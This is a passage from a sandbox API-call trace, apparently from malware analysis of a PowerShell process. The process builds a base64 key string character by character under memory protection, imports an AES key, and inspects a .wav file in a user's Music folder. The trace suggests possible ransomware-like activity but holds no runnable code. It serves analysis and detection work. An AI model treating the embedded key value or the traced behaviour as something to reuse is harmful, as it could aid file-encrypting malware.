Memory=0x3c4e94) returned 0x0 [0244.355] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0244.355] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0244.355] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.355] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0244.355] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.355] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0244.355] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0244.355] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.355] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0244.356] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.356] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0244.356] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0244.356] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.356] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0244.356] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.356] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0244.356] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0244.356] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0244.357] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0244.357] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.357] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0244.357] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.357] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0244.357] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0244.357] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.357] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0244.357] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.357] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0244.357] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0244.357] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.358] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0244.358] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.358] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0244.358] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0244.358] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.358] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0244.358] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.358] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0244.358] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0244.358] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.358] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0244.358] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.358] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0244.359] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0244.359] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.359] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0244.359] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.359] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0244.359] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0244.359] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.359] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0244.359] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.359] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0244.359] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0244.359] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.359] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0244.359] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.360] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0244.360] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0244.360] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0244.360] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0244.360] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.360] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0244.360] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.360] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0244.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0244.361] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.361] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0244.361] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0244.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0244.361] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.361] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0244.361] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0244.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0244.361] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.361] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0244.361] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0244.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0244.362] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.362] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0244.362] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0244.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0244.362] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.362] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0244.362] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0244.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0244.362] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.363] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0244.363] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.363] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0244.363] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0244.363] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.363] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0244.363] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.363] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0244.363] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0244.363] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0244.364] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0244.364] SystemFunction041 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.364] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0244.364] SystemFunction040 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.364] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0244.364] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0244.364] SystemFunction041 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.364] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0244.364] SystemFunction040 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.364] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0244.364] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0244.364] SystemFunction041 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.365] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0244.365] SystemFunction040 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.365] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0244.365] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0244.365] SystemFunction041 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.365] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0244.365] SystemFunction040 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.365] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0244.365] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0244.365] SystemFunction041 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.365] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0244.366] SystemFunction040 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.366] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0244.366] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0244.366] SystemFunction041 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.366] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0244.366] SystemFunction040 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.366] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0244.366] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0244.366] SystemFunction041 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.366] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0244.366] SystemFunction040 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.367] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0244.367] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0244.367] SystemFunction041 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.367] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0244.367] SystemFunction040 (in: Memory=0x5c9b534, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b534) returned 0x0 [0244.367] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0244.367] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0244.368] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0244.368] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0244.368] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0244.368] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0244.368] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0244.368] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0244.368] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0244.368] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0244.369] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0244.369] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0244.369] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0244.369] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0244.369] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0244.369] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0244.369] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0244.369] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0244.369] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0244.369] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0244.370] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0244.370] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0244.370] EtwEventActivityIdControl () returned 0x0 [0244.370] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0244.370] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0244.371] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0244.371] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0244.373] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x373f80) returned 1 [0244.375] CryptImportKey (in: hProv=0x373f80, pbData=0x23db010*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c69500) returned 1 [0244.375] CryptContextAddRef (hProv=0x373f80, pdwReserved=0x0, dwFlags=0x0) returned 1 [0244.376] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.376] EtwEventActivityIdControl () returned 0x0 [0244.376] EtwEventActivityIdControl () returned 0x0 [0244.376] EtwEventActivityIdControl () returned 0x0 [0244.386] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav" (normalized: "c:\\users\\keecfmwgj\\music\\omcoseo.wav")) returned 0x20 [0244.387] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav" (normalized: "c:\\users\\keecfmwgj\\music\\omcoseo.wav")) returned 0x20 [0244.388] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0244.388] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\omCoSEo.wav", lpFilePart=0x0) returned 0x24 [0244.388] EtwEventActivityIdControl () returned 0x0 [0244.389] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.389] EtwEventActivityIdControl () returned 0x0 [0244.389] EtwEventActivityIdControl () returned 0x0 [0244.389] EtwEventActivityIdControl () returned 0x0 [0244.391] GetFullPathNameW 